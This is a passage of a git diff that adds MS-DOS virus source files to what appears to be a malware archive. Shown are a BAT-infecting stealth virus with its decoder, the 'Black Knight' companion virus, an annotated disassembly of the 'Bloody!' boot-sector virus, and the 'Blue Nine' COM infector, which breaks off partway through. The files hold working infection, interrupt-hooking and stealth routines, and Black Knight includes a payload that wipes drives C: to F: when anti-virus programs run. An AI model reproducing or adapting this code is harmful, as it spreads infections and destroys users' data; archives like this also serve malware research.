ax,0F0 + inc ax + stosb + pop ax + and ax,0F + add al,'A' + stosb + dec bp + jz finished_line + loop encode_line + +finished_line: mov cx,6 + mov dx,offset decoder + call write + + mov cx,di + mov dx,offset line + sub cx,dx + call write + + mov cx,enddecoder-endline + mov dx,offset endline + call write + + or bp,bp + jnz encode_lines + + pop di es + + mov cx,endcleanup - enddecoder + mov dx,offset enddecoder + call write + + ret + +; check neither extension nor timestamp in case file was renamed or +; something like that + +; will hang without this stealth because of the line +; @%0 that it adds to batch files +handle_read: push es di si ax cx dx ds bx + + xor si,si + + cmp cs:init_flag,0 + jnz dont_alter_read + + mov ax,1220 + int 2f + jc dont_alter_read + + xor bx,bx + mov bl,es:di + mov ax,1216 + int 2f ; es:di now -> sft + jc dont_alter_read + + pop bx ; restore the file handle + push bx + + push es:[di+15] ; save current offset + + call check_signature + mov si,viruslength + pop bx + jz hide_read + xor si,si +hide_read: add bx,si + mov es:[di+15],bx +dont_alter_read:pop bx ds dx cx ax + + call chain_i21 + + sub es:[di+15],si + + pop si di es +_iret: pop bp + iret + +handle_open: cmp cs:init_flag,0 + jz keep_going + dec cs:init_flag +keep_going: call chain_i21 + jc _iret + push ax cx dx bp si di ds es + + xchg si,ax ; filehandle to si + + mov ax,3524 + int 21 + push es bx ; save old int 24 handler + + xchg bx,si ; filehandle back to bx + push bx + mov si,dx ; ds:si->filename + + push ds + mov ax,2524 ; set new int 24 handler + push cs + pop ds + mov dx,offset i24 + call calli21 + pop ds + + cld + +find_extension: lodsb ; scan filename for extension + or al,al ; no extension? + jz dont_alter_open + cmp al,'.' ; extension? + jnz find_extension + + lodsw ; check if it's .bat + or ax,2020 + cmp ax,'ab' + jnz dont_alter_open + lodsb + or al,20 + cmp al,'t' + jnz dont_alter_open + + mov ax,1220 ; if so, get jft entry + int 2f + jc dont_alter_open + + xor bx,bx + mov bl,es:di + mov ax,1216 ; now get SFT + int 2f + jc dont_alter_open + + pop bx ; recover file handle + push bx + + mov bp,word ptr es:[di+11] ; save file size + or bp,bp + jz dont_alter_open + + mov byte ptr es:[di+2],2 ; change open mode to r/w + mov ax,word ptr es:[di+0dh] ; get file time + and ax,not 1f ; set the seconds field + or ax,1f + mov word ptr es:[di+0dh],ax + + call check_signature + jz dont_alter1open ; infected already! + + call infect_bat + +dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time + and word ptr es:[di+15],0 + mov byte ptr es:[di+2],0 ; restore file open mode +dont_alter_open:pop bx dx ds + mov ax,2524 + call calli21 + pop es ds di si bp dx cx ax bp + iret + +findfirstnext: call chain_i21 ; standard file length + push ax bx si ds es ; hiding + cmp al,-1 + jz dont_alter_fffn + + mov ah,2f ; get the DTA to es:bx + int 21 + push es + pop ds + cmp byte ptr [bx],-1 + jnz not_extended + add bx,7 +; won't hide if extension is changed, but otherwise gives it away by disk +; accesses +not_extended: cmp word ptr [bx+9],'AB' + jnz dont_alter_fffn + cmp byte ptr [bx+0bh],'T' + jnz dont_alter_fffn + cmp word ptr [bx+1dh],viruslength + jb dont_alter_fffn + mov al,[bx+17] + and al,1f + cmp al,1f + jnz dont_alter_fffn + and byte ptr [bx+17],not 1f + sub word ptr [bx+1dh],viruslength +dont_alter_fffn:pop es ds si bx ax bp + iret + +inst_check: cmp bx,0f904 + jnz jmp_i21 + push si di cx + mov si,offset blah + mov di,100 + mov cx,offset i13 - offset blah + db 2e + rep cmpsb + jnz not_inst + + inc byte ptr cs:i13 ; disable existing copy of + inc byte ptr cs:i21 ; the virus + +not_inst: pop si di cx + jmp short jmp_i21 +i21: clc + jc disabled_i21 + push bp + mov bp,sp + cmp ah,11 + jz findfirstnext + cmp ah,12 + jz findfirstnext + cmp ah,62 + jz inst_check + cmp ax,3d00 + jnz not_open + jmp handle_open +not_open: cmp ah,3f + jnz jmp_i21 + jmp handle_read + + +jmp_i21: pop bp +disabled_i21: db 0ea ; call original int 21 +heap: ; g +old_i21 dw ?, ? ; handler +old_i13 dw ?, ? +init_flag db ? + +end_zopy: + org 100 + ((end_zopy - blah + 1ff) / 200) * 200 +orig_PT db 200 dup (?) +big_buffer db 200 dup (?) +end_all: + + end blah + +; The complimentary decoder included with every copy of blah + + .model tiny + .code + .radix 16 + org 100 + +decode: db '°PSBAT!°' ; translates to some random code + + mov di,offset buffer + db 0bdh ; mov bp, datasize +datasize dw 'Y0' + + db 'XYZ' ; more text that is also code + + neg bp + push bp + mov si,offset databytes +keep_going: mov cx,2020 + xor ch,cl +decode_line: lodsb + dec ax ; tens digit + mov bx,ax + lodsb + sub al,'A' + add ax,bx + stosb + + dec bp + jz all_done + loop decode_line +all_done: or bp,bp + jz no_more + lodsw ; skip CRLF + jmp keep_going + + db 0Dh,0A ; split file into two lines + +no_more: mov ax,0fcfc + xor ah,al + pop cx ; how many bytes to move + push ax + xchg ax,di + mov ax,0a4f3 + stosw + mov ax,0ebebh ; flush prefetch queue + xor ah,al + stosw + + mov si,offset buffer + mov di,100 + 4144 + sub di,'AD' + + retn + + db 0Dh,0Ah ; split the file s'more + +databytes: + + org 5350 ; 50/53 == P/S +buffer: + + end decode diff --git a/MSDOS/Virus.MSDOS.Unknown.blknight.asm b/MSDOS/Virus.MSDOS.Unknown.blknight.asm new file mode 100644 index 00000000..49d17b55 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.blknight.asm @@ -0,0 +1,391 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994 +Xref: netcom.com alt.comp.virus:508 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: BlackKnight Virus (ANTI AV VIRUS) +Date: 29 Nov 1994 13:09:23 GMT +Organization: Netcom +Lines: 376 +Distribution: world +Message-ID: <3bf963$idi@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + +;Black Knight Anti-Virus-Virus +;Size - 520 +; +;Tasm BKNIGHT +;Tlink /T BKNIGHT +;Memory Resident Companion Virus +;Anti-Anti-Virus +;Formats Drives C: to F: When Anti-Virus Product Is Ran +;Tempest - _ Of Luxenburg +; + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endit +filelength equ endit - begin +nameptr equ endit+4 +DTA equ endit+8 + + + + + + +begin: jmp virus_install + +virus_name: + db 'Black Knight' + + + ;install +virus_install: + nop + nop + nop + mov ax,cs ; reduce memory size + + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a + jne cancel + mov ax,ds:[0003] + sub ax,100 + mov ds:0003,ax +Zopy_virus: + mov bx,ax ; copy to claimed block + + mov ax,es + add ax,bx + mov es,ax + mov cx,offset endit - begin + mov ax,ds + inc ax + mov ds,ax + lea si,ds:[begin] + lea di,es:0100 + rep movsb + + + +Grab_21: + + mov ds,cx ; hook int 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already +installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to +virus + nop + int 21h + nop + +cancel: ret + +check_exec: + pushf + + push es ; push everything onto +the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is the file being + + + + jne abort ; executed? + + + + + ;if yes, try the_stinger +do_infect: call infect ; then try to infect + + + + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +Bye_Bye: + ; exit + jmp dword ptr cs:[oi21] + + +new_24h: + mov al,3 ; critical error handler + iret + +infect: + mov cs:[name_seg],ds ; here, the virus +essentially + mov cs:[name_off],dx ; copies the name of the + + cld ; loaded file into a +buffer + mov di,dx ; so that it can be +compared + push ds ; against the default +names + pop es ; in the_stinger + mov al,'.' ; subroutine + repne scasb ; <-- + + call the_stinger ; check for anti-virus +load + ; and deploy the_stinger + + + + cld + mov word ptr cs:[nameptr],dx + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh + int 21h + push es + push bx + + push cs + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call searchpoint + push di + mov si,offset COM_txt + + mov cx,3 + rep cmpsb + pop di + jz do_com + mov si,offset EXE_txt + nop + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt + nop + call change_ext + mov ax,3300h + nop + int 21h + push dx + + cwd + inc ax + push ax + int 21h + +Grab24h: + + mov ax,3524h + int 21h + push bx + push es + push cs + pop ds + mov dx,offset new_24h + mov ah,25h + push ax + int 21h + + + lds dx,dword ptr [nameptr] ;create the virus +(unique name) + xor cx,cx + mov ah,05Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + + + push cs + pop ds + mov cx,filelength ;cx= length of virus + mov dx,offset begin ;where to start copying + mov ah,40h ;write the virus to the + int 21h ;new file + + mov ah,3Eh ; close + int 21h + +return1: pop ax + pop ds + pop dx + int 21h + + pop ax + pop dx + int 21h + + mov si,offset EXE_txt + call change_ext + +return: mov ah,1Ah + pop dx + pop ds + int 21H + + ret + +do_com: call findfirst + cmp word ptr cs:[DTA+1Ah],endit - begin + jne return + mov si,offset EXE_txt + call change_ext + call findfirst + jnc return + mov si,offset COM_txt + call change_ext + jmp short return + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21h + ret + +the_stinger: + cmp word ptr es:[di-3],'MI' ;Integrity Master + je jumptoass + + cmp word ptr es:[di-3],'XR' ;VIRX + je jumptoass + + cmp word ptr es:[di-3],'PO' ;VIRUSTOP + jne next1 + cmp word ptr es:[di-5],'TS' + je jumptoass + +next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV + je jumptoass + + cmp word ptr es:[di-3],'TO' ;*prot = F-prot + jne next2 + cmp word ptr es:[di-5],'RP' + je jumptoass + +next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's +Scan. + jne next3 + cmp word ptr es:[di-5],'CS' + je jumptoass + + cmp word ptr es:[di-3],'NA' ;*lean = McAfee's +CLEAN. + jne next3 ; why not, eh? + cmp word ptr es:[di-5],'EL' + je jumptoass +next3: ret +jumptoass: jmp nuke ;assassination (deletion) + ; of anti-virus program + + + +nuke: + mov al,2 ;Lets Total The C: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + mov al,3 ;Lets Total The D: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + mov al,3 ;Lets Total The E: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + + mov al,5 ;Lets Total The F: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + + +data_1 db 0 +data_2 db 0 + +last db 090H +name_seg dw ? +name_off dw ? + +c1 db 0 +c2 db 0 +c3 db 0 +c4 db 0 +c5 db 0 +virus_man: db 'Tempest - _ Of Luxenburg' + +endit: + + +cseg ends + end begin + + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.bloody.asm b/MSDOS/Virus.MSDOS.Unknown.bloody.asm new file mode 100644 index 00000000..51e3188a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bloody.asm @@ -0,0 +1,280 @@ + +; BLOODY! virus +; +; Discovered an commented by Ferenc Leitold +; Hungarian VirusBuster Team +; Address: 1399 Budapest +; P.O. box 701/349 +; HUNGARY + + +217D:0100 2EFF2E177C JMP Far CS:[7C17] +217D:0105 E9B500 JMP 01BD ; Jump to main entry point + +217D:0108 00 db 0 ; Counter +217D:0109 00 db 0 +217D:010A 00 db 0 ; Flag: + ; 00 : floppy + ; 80 : hard disk +217D:010B 00 db 0 + +217D:010C A100F0 MOV AX,[F000] + +217D:010F 0301809F DW 0103H,9F80H ; Entry point at TOP + +217D:0113 007C0000 DW 7C00H,0000H ; Address of orig. boot + +217D:0117 057C0000 DW 7C05H,0000H + +217D:011B 00000000 DW 0000H,0000H ; original INT13 vector + +;************************ INT13 entry point ***************************** + +217D:011F 80FC02 CMP AH,02 ; Check parameters +217D:0122 720D JC 0131 +217D:0124 80FC04 CMP AH,04 +217D:0127 7308 JNC 0131 +217D:0129 80FA80 CMP DL,80 +217D:012C 7303 JNC 0131 +217D:012E E80500 CALL 0136 ; Call, if AH=2,3 & DL!=80 +217D:0131 2EFF2E0B00 JMP Far CS:[000B] ; Jump to original INT13 + +217D:0136 50 PUSH AX ; Save registers +217D:0137 53 PUSH BX +217D:0138 51 PUSH CX +217D:0139 52 PUSH DX +217D:013A 06 PUSH ES +217D:013B 1E PUSH DS +217D:013C 56 PUSH SI +217D:013D 57 PUSH DI + +217D:013E 0E PUSH CS ; Set DS,ES to CS +217D:013F 1F POP DS +217D:0140 0E PUSH CS +217D:0141 07 POP ES + +217D:0142 BE0200 MOV SI,0002 ; 2 probe + +217D:0145 33C0 XOR AX,AX ; Reset drive +217D:0147 9C PUSHF +217D:0148 FF1E0B00 CALL Far [000B] ; Call INT13 +217D:014C B80102 MOV AX,0201 ; Read boot sector of floppy +217D:014F BB0002 MOV BX,0200 +217D:0152 B90100 MOV CX,0001 +217D:0155 32F6 XOR DH,DH +217D:0157 9C PUSHF +217D:0158 FF1E0B00 CALL Far [000B] ; Call INT13 +217D:015C 7305 JNC 0163 +217D:015E 4E DEC SI ; If error next probe +217D:015F 75E4 JNZ 0145 +217D:0161 EB2E JMP 0191 ; Jump, if 2 bad probes was + +217D:0163 33F6 XOR SI,SI ; Check boot sector, if +217D:0165 BF0002 MOV DI,0200 ; if infected yet +217D:0168 B90300 MOV CX,0003 +217D:016B FC CLD +217D:016C F3A7 REP CMPSW +217D:016E 7421 JZ 0191 ; Jump, if already infected + +217D:0170 B80103 MOV AX,0301 ; Write orig. boot sector +217D:0173 BB0002 MOV BX,0200 +217D:0176 B90300 MOV CX,0003 ; cyl: 0 sect: 3 +217D:0179 B601 MOV DH,01 ; head: 1 +217D:017B 9C PUSHF +217D:017C FF1E0B00 CALL Far [000B] ; Call INT13 +217D:0180 720F JC 0191 + +217D:0182 B80103 MOV AX,0301 ; Write infected boot sector +217D:0185 33DB XOR BX,BX +217D:0187 B90100 MOV CX,0001 ; cyl:0 sect:1 +217D:018A 32F6 XOR DH,DH ; head: 0 +217D:018C 9C PUSHF +217D:018D FF1E0B00 CALL Far [000B] + +217D:0191 5F POP DI ; Restore registers +217D:0192 5E POP SI +217D:0193 1F POP DS +217D:0194 07 POP ES +217D:0195 5A POP DX +217D:0196 59 POP CX +217D:0197 5B POP BX +217D:0198 58 POP AX +217D:0199 C3 RET + +217D:019A 1D1D1D1A3737 ; Coded text: +217D:01A0 37373737557B ; "\r\r\r\n Bloody! Jun. 4, 1989\r\r\r\n" +217D:01A6 7878736E3637 +217D:01AC 5D6279393723 +217D:01B2 3B37262E2F2E +217D:01B8 1D1D1D1A00 + +;************************** Main entry point ******************************* + +217D:01BD 33C0 XOR AX,AX +217D:01BF 8ED8 MOV DS,AX +217D:01C1 FA CLI +217D:01C2 8ED0 MOV SS,AX +217D:01C4 BC007C MOV SP,7C00 +217D:01C7 FB STI + +217D:01C8 A14C00 MOV AX,[004C] ; Save orig. INT13 vector +217D:01CB A30B7C MOV [7C0B],AX +217D:01CE A14E00 MOV AX,[004E] +217D:01D1 A30D7C MOV [7C0D],AX + +217D:01D4 A11304 MOV AX,[0413] ; Decrease memory by 2KB +217D:01D7 48 DEC AX +217D:01D8 48 DEC AX +217D:01D9 A31304 MOV [0413],AX + +217D:01DC B106 MOV CL,06 ; Calculate segment +217D:01DE D3E0 SHL AX,CL +217D:01E0 A3117C MOV [7C11],AX + + + +217D:01E3 A34E00 MOV [004E],AX ; Set new INT13 vector +217D:01E6 8EC0 MOV ES,AX +217D:01E8 B81F00 MOV AX,001F +217D:01EB A34C00 MOV [004C],AX + +217D:01EE C7060F7C0301 MOV [7C0F],0103 ; Set JMP argument points + ; to TOP + +217D:01F4 BE007C MOV SI,7C00 ; Copy itself to TOP +217D:01F7 33FF XOR DI,DI +217D:01F9 B90001 MOV CX,0100 +217D:01FC FC CLD +217D:01FD F3A5 REP MOVSW +217D:01FF FF2E0F7C JMP Far [7C0F] ; Jmp to TOP + +TOP :0203 33C0 XOR AX,AX ; Reset drive +TOP :0205 CD13 INT 13 + +TOP :0207 0E PUSH CS ; Set registers to load +TOP :0208 1F POP DS ; original sector +TOP :0209 33C0 XOR AX,AX +TOP :020B 8EC0 MOV ES,AX +TOP :020D B80102 MOV AX,0201 +TOP :0210 BB007C MOV BX,7C00 +TOP :0213 803E0A0000 CMP [000A],00 ; Check, if it is floppy ? +TOP :0218 7435 JZ 024F ; Jump, if floppy + + ; if hard disk, load + ; orig. part. table +TOP :021A B90600 MOV CX,0006 ; cyl.: 0 sect.: 6 +TOP :021D BA8000 MOV DX,0080 ; head: 0 +TOP :0220 CD13 INT 13 +TOP :0222 0E PUSH CS +TOP :0223 07 POP ES +TOP :0224 FE060800 INC B/[0008] ; Increase counter +TOP :0228 803E080080 CMP [0008],80 +TOP :022D 721E JC 024D ; If counter < 128 -> no text +TOP :022F C60608007A MOV [0008],7A +TOP :0234 FC CLD + +TOP :0235 BE9A00 MOV SI,009A ; Write coded text via BIOS +TOP :0238 AC LODSB +TOP :0239 3C00 CMP AL,00 +TOP :023B 740C JZ 0249 +TOP :023D 32060300 XOR AL,[0003] +TOP :0241 B40E MOV AH,0E +TOP :0243 B700 MOV BH,00 +TOP :0245 CD10 INT 10 +TOP :0247 EBEF JMP 0238 + +TOP :0249 B400 MOV AH,00 ; Wait for keystroke +TOP :024B CD16 INT 16 +TOP :024D EB54 JMP 02A3 + + ; if floppy +TOP :024F B90300 MOV CX,0003 ; read orig. boot sector +TOP :0252 BA0001 MOV DX,0100 ; cyl: 0 hd: 1 sect: 3 +TOP :0255 CD13 INT 13 + +TOP :0257 0E PUSH CS +TOP :0258 07 POP ES +TOP :0259 721D JC 0278 ; Jump, if error occured + + +TOP :025B B80102 MOV AX,0201 ; Load part. table of +TOP :025E BB0002 MOV BX,0200 ; 1st hard disk +TOP :0261 B90100 MOV CX,0001 +TOP :0264 BA8000 MOV DX,0080 +TOP :0267 CD13 INT 13 +TOP :0269 720D JC 0278 ; Jump, if error occured + +TOP :026B BE0002 MOV SI,0200 ; Check 1st 3 word +TOP :026E 33FF XOR DI,DI +TOP :0270 B90300 MOV CX,0003 +TOP :0273 FC CLD +TOP :0274 F3A7 REP CMPSW +TOP :0276 750E JNZ 0286 + + ; If infected yet +TOP :0278 C6060A0000 MOV [000A],00 ; Set Flag to 0 +TOP :027D C606080000 MOV [0008],00 ; Reset counter +TOP :0282 FF2E1300 JMP Far [0013] ; Jump to orig. boot + +TOP :0286 B80103 MOV AX,0301 ; Write orig. part. table +TOP :0289 BB0002 MOV BX,0200 +TOP :028C B90600 MOV CX,0006 ; cyl: 0 sect: 6 hd: 0 +TOP :028F CD13 INT 13 +TOP :0291 72E5 JC 0278 + +TOP :0293 BEBE03 MOV SI,03BE ; Copy partition info +TOP :0296 BFBE01 MOV DI,01BE ; after virus body +TOP :0299 B92101 MOV CX,0121 +TOP :029C F3A5 REP MOVSW +TOP :029E C6060A0001 MOV [000A],01 + +TOP :02A3 B80103 MOV AX,0301 ; Write boot sector or + ; partition table with + ; increased counter +TOP :02A6 33DB XOR BX,BX +TOP :02A8 B90100 MOV CX,0001 +TOP :02AB CD13 INT 13 + + +TOP :02AD BEBE04 MOV SI,04BE ; Clear area of partition +TOP :02B0 BFBE01 MOV DI,01BE ; info +TOP :02B3 B92000 MOV CX,0020 +TOP :02B6 F3A5 REP MOVSW +TOP :02B8 EBBE JMP 0278 ; Set parameters & + ; jump to orig. boot +TOP :02BA DE07 ESC 30,[BX] +TOP :02BC DF07 ESC 38,[BX] +TOP :02BE 0000 ADD [BX+SI],AL +TOP :02C0 0000 ADD [BX+SI],AL +TOP :02C2 0000 ADD [BX+SI],AL +TOP :02C4 0000 ADD [BX+SI],AL +TOP :02C6 0000 ADD [BX+SI],AL +TOP :02C8 0000 ADD [BX+SI],AL +TOP :02CA 0000 ADD [BX+SI],AL +TOP :02CC 0000 ADD [BX+SI],AL +TOP :02CE 0000 ADD [BX+SI],AL +TOP :02D0 0000 ADD [BX+SI],AL +TOP :02D2 0000 ADD [BX+SI],AL +TOP :02D4 0000 ADD [BX+SI],AL +TOP :02D6 0000 ADD [BX+SI],AL +TOP :02D8 0000 ADD [BX+SI],AL +TOP :02DA 0000 ADD [BX+SI],AL +TOP :02DC 0000 ADD [BX+SI],AL +TOP :02DE 0000 ADD [BX+SI],AL +TOP :02E0 0000 ADD [BX+SI],AL +TOP :02E2 0000 ADD [BX+SI],AL +TOP :02E4 0000 ADD [BX+SI],AL +TOP :02E6 0000 ADD [BX+SI],AL +TOP :02E8 0000 ADD [BX+SI],AL +TOP :02EA 0000 ADD [BX+SI],AL +TOP :02EC 0000 ADD [BX+SI],AL +TOP :02EE 0000 ADD [BX+SI],AL +TOP :02F0 0000 ADD [BX+SI],AL +TOP :02F2 0000 ADD [BX+SI],AL +TOP :02F4 0000 ADD [BX+SI],AL +TOP :02F6 0000 ADD [BX+SI],AL +TOP :02F8 0000 ADD [BX+SI],AL +TOP :02FA 0000 ADD [BX+SI],AL +TOP :02FC 0000 ADD [BX+SI],AL +TOP :02FE 55 PUSH BP +TOP :02FF AA STOSB diff --git a/MSDOS/Virus.MSDOS.Unknown.bluenine.asm b/MSDOS/Virus.MSDOS.Unknown.bluenine.asm new file mode 100644 index 00000000..00eebbcf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bluenine.asm @@ -0,0 +1,576 @@ +; The Blue Nine virus... (c) 94 Conzouler + +; Resident in conventional memory +; Com infection on load and execute +; Com infection on 11/12 (dir for short - TU) +; Size stealth on 11/12 +; Size stealth on 4E/4F +; Infection check: seconds=4 +; Installation check: get dos version with cx=666 +; Redirection stealth on 3D/3F +; No TBScan flags (by hard heuristic as per version 6.26 - TU) + +.model tiny +.code +org 100h + +parasize equ ((offset virend - offset start) / 10h) + 1 +bytesize equ parasize*10h + +Start: + db 0E9h ; Near jmp to ResCheck + dw 03h + +HostStartO db 0CDh ; Buffer to save hosthead +HostStartA dw 09020h ; int20 + nop + +ResCheck: + push ax + ; Perform installation check + mov ah, 30h + mov cx, 666 + int 21h ; Dos would set cx to 0 + cmp cx, 444 ; but virus will set to 444 + je RestoreHost ; if resident + cmp al, 03h ; Don't go resident + jb RestoreHost ; If dosver less than 3.00 + +Install: + ; Code to place virus in memory + mov bx, es ; Dec es to get MCB + dec bx + mov es, bx + + mov bx, es:[3] ; Get size of MB and dec it + push cs + pop es + sub bx, parasize+2 + mov ah, 4Ah + int 21h + + mov ah, 48h ; Allocate MB to virus + mov bx, parasize+1 + int 21h + + dec ax ; Put MCB in es:0 + mov es, ax + mov word ptr es:[1], 08 ; Change owner to system + + push word ptr ds:[101h] ; Get delta offset + pop si + add si, 103h ; Get jmp pos + + mov di, 16h ; Move virus to new block + mov cx, bytesize-6 + rep movsb + + sub ax, 0Fh ; Jmp to new block + push ax + mov ax, offset InstVec + push ax + retf + + +Org21: + db 0EAh ; Far abs jmp +o21 label +Org21ofs dw ? +Org21seg dw ? + + +InstVec: + ; Code to install virus in vector21 + mov ax, 3521h ; Save org21 + int 21h + mov cs:Org21ofs, bx + mov bx, es + mov cs:Org21seg, bx + + mov ax, 2125h ; Set Vector21 + xchg ah, al + push ds + push cs + pop ds + mov dx, offset Vector21 + int 21h + pop ds + + +RestoreHost: + mov si, ds:[101h] ; Get addr from jmp opc + add si, 100h ; addr to hoststarto + mov ah, ds:[si] ; Restore hosthead + mov ds:[100h], ah + inc si + mov ax, ds:[si] + mov ds:[101h], ax + pop ax + push ds ; Set es to host cs + pop es + push ds ; Save host address + mov bx, 100h + push bx + retf + +icheck: ; Installation check + cmp cx, 666 + jne Org21 + mov cx, 444 + retf 2 + +Vector21: + cmp ah, 30h ; Installation check? + jne chn1 + jmp icheck + +chn1: cmp ax, 4B00h ; Load and execute? + jne chn2 + call cominfect + +chn2: cmp ah, 11h ; find first/next (fcb)? + je fff + cmp ah, 12h + jne chn3 +fff: call dos + cmp al, 0FFh + je chn3 + jmp fcbsearch + +chn3: cmp ah, 4Eh ; find first handle? + jne chn4 + call dos + jnc found + retf 2 +chn4: cmp ah, 4Fh ; find next handle? + jne chn5 + call dos + jnc found + retf 2 +found: jmp hdlsearch + +chn5: cmp ah, 3Dh ; open handle? + jne chn6 + call dos + jnc opened + retf 2 +opened: jmp hdlopen + +chn6: cmp ah, 3Fh ; read from handle + jne chnx + jmp hdlread + +chnx: jmp Org21 ; Chain to dos + + + db ' ·∙- Blue Nine Virus by Conzouler 1994 -∙· ' + + +cominfect proc + push ax + push bx + push cx + push dx + push ds + + mov ax, 3d82h + call dos + jc ciexit + mov bx, ax + + call appendcom +ciexit: + pop ds + pop dx + pop cx + pop bx + pop ax + ret +cominfect endp + + +appendcom proc + ; infects the file handle in bx + + mov ax, 5700h ; Get date time + call dos + and cx, 0FFE0h ; Mask seconds + or cx, 02h ; Set to 4 + push cx ; Store date time + push dx + + push cs ; Read head + pop ds + mov dx, offset HostStartO + mov ah, 3Fh + mov cx, 03 + call dos + + push word ptr HostStartO + pop dx + xchg dh, dl + cmp dx, 'MZ' ;Check if .exe + je apcomexit + + mov dx, HostStartA ; Infection check + add dx, 3 ; Seek to jmp loc + xor cx, cx + mov ax, 4200h + call Dos + mov ah, 3Fh ; Read 2 bytes + mov cx, 2h + mov dx, offset Start + call dos + mov ax, 0b450h + cmp word ptr Start, ax ; infected? + je apcomexit + + mov al, 02h ; Goto eof + call fseek + + mov byte ptr ds:[100h], 0E9h; Assemble jmp + mov ds:[101h], ax ; jmp to eof + 3 + + mov dx, offset HostStartO ; Append virus + mov ah, 40h xor 66 + xor ah, 66 + mov cx, bytesize-3 + call dos + + mov al, 00h ; Goto start + call fseek + + mov ah, 40h xor 66 ; Write jmp + xor ah, 66 + mov dx, 100h + mov cx, 3 + call dos + +apcomexit: + pop dx ; Set date + pop cx + mov ax, 5701h + call dos + + mov ah, 3Eh ; Close file + call dos + + ret +appendcom endp + + +fcbsearch: + ; called after successful find first/next on fcb + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + call getdta + + lodsb ; extended fcb? + cmp al, 0FFh + jne normfcb + add si, 7 +normfcb: + mov di, si + add si, 8 ; to extension + lodsw + cmp ax, 'OC' ; is almost com? + jne fcbnocom + lodsb + cmp al, 'M' ; is definitely com? + jne fcbnocom + + add si, 0Bh ; Get time stamp + lodsb + and al, 1Fh ; Mask seconds + cmp al, 2 ; infected? + jne fcbnotinfc + add si, 5 ; size-stealth + sub ds:[si], bytesize-3 + + jmp fcbexit + +fcbnotinfc: ; infect file + in al, 41h ; Get timer (rnd) + and al, 03h + cmp al, 03h + jne fcbexit ; Good guy today? + + push cs ; Convert to asciz + pop es + mov si, di + mov di, offset virend + push di + mov cx, 8 +loop3: lodsb + cmp al, ' ' + je loopx + stosb + loop loop3 +loopx: mov ax, 'C.' + stosw + mov ax, 'MO' + stosw + mov al, 0 + stosb + pop dx + push es + pop ds + mov ax, 3D82h + call dos + jc fcbexit + mov bx, ax + call appendcom +fcbnocom: +fcbexit: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf 2 ; Back to caller + + +hdlsearch: + ; Called on successful find first/next on handle + + pushf + push ax + push cx + push si + push di + push ds + push es + + call getdta ; dta to es:si and ds:si + mov di, si + + add di, 1Eh ; di to name + mov cx, 9 + mov al, '.' + repne scasb ; scan for extension + jne hdlexit + xchg si, di + lodsw + cmp ax, 'OC' ; check if com? + jne hdlexit + lodsb + cmp al, 'M' ; is com? + jne hdlexit + + xchg si, di ; check date + add si, 16h ; si to time + lodsb + and al, 1Fh ; mask seconds + cmp al, 02h ; seconds=4? + jne hdlexit + sub word ptr [si+3], bytesize-3 ; Size stealth + +hdlexit: + pop es + pop ds + pop di + pop si + pop cx + pop ax + popf + retf 2 + + +hdlopen: + ; called after successful file open + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov bx, ax ; Get sft number + call getsft ; sft to ds:si and es:di + jc hoexit + + add si, 28h ; extension to ds:si + lodsw + cmp ax, 'OC' ; is com? + jne hoexit + lodsb + cmp al, 'M' ; sure? + jne hoexit + + sub si, 1Eh ; check time + lodsw + and al, 1Fh ; mask seconds + cmp al, 02h ; infected? + jne hoexit + + add di, 05h ; Mark infection in sft + or word ptr [di], 4000h + add di, 0Ch ; Change size in sft + mov dx, [di] + + sub dx, bytesize-3 + xor cx, cx + mov ax, 4200h + call dos + + mov ah, 3Fh ; Load header + mov dx, si + sub dx, 02h + mov cx, 3 + call dos + mov al, 0 + call fseek + mov byte ptr [si+1], 31 + + sub word ptr [di], bytesize-3 + +hoexit: pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + retf 2 + + +hdlread: + ; called before a read from handle (3F) + push si + push di + push es + push cx + push dx + push ds + + call getsft ; check if marked in sft + jc hrnoti + + add si, 05h + lodsw + and ah, 40h + cmp ah, 40h ; redirect? + jne hrnoti + cmp byte ptr [si+9], 31 ; redirect? + jne hrnoti + + mov ax, [si+0Eh] ; Get offset and + cmp ax, 02h ; redirect only if it is + ja hrnoti ; in the first 3 bytes of file + + mov cx, 3 ; See how many bytes to redir + sub cx, ax + + add si, 6 ; offset to time/date field + pop es ; es to buffer + push cx ; save redir count + mov di, dx + rep movsb ; move header to buffer + + mov ax, 4201h ; Skip 3 bytes + xor cx, cx + pop dx + push dx + call dos + + pop di 